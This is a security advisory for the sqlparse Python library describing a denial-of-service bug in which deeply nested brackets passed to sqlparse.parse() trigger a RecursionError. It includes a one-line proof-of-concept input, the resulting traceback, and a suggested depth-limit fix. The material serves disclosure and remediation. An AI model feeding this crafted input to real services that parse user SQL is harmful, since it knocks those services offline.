PYSEC-2026-1940

### Summary Passing a heavily nested list to sqlparse.parse() leads to a Denial of Service due to RecursionError.

### Details + PoC Running the following code will raise Maximum recursion limit exceeded exception: ```py import sqlparse sqlparse.parse('[' * 10000 + ']' * 10000) ``` We expect a traceback of RecursionError: ```py Traceback (most recent call last): File "trigger_sqlparse_nested_list.py", line 3, in <module> sqlparse.parse('[' * 10000 + ']' * 10000) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/__init__.py", line 30, in parse return tuple(parsestream(sql, encoding)) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/filter_stack.py", line 36, in run stmt = grouping.group(stmt) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 428, in group func(stmt) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 53, in group_brackets _group_matching(tlist, sql.SquareBrackets) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 48, in _group_matching tlist.group_tokens(cls, open_idx, close_idx) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 328, in group_tokens grp = grp_cls(subtokens) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 161, in __init__ super().__init__(None, str(self)) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 165, in __str__ return ''.join(token.value for token in self.flatten()) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 165, in <genexpr> return ''.join(token.value for token in self.flatten()) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten yield from token.flatten() File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten yield from token.flatten() File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten yield from token.flatten() [Previous line repeated 983 more times] RecursionError: maximum recursion depth exceeded ```

### Fix suggestion The [flatten()](https://github.com/andialbrecht/sqlparse/blob/master/sqlparse/sql.py#L207) function of TokenList class should limit the recursion to a maximal depth: ```py from sqlparse.exceptions import SQLParseError

MAX_DEPTH = 100

def flatten(self, depth=1): """Generator yielding ungrouped tokens.

This method is recursively called for all child tokens. """ if depth >= MAX_DEPTH: raise SQLParseError('Maximal depth reached') for token in self.tokens: if token.is_group: yield from token.flatten(depth + 1) else: yield token ```

### Impact Denial of Service (the impact depends on the use). Anyone parsing a user input with sqlparse.parse() is affected.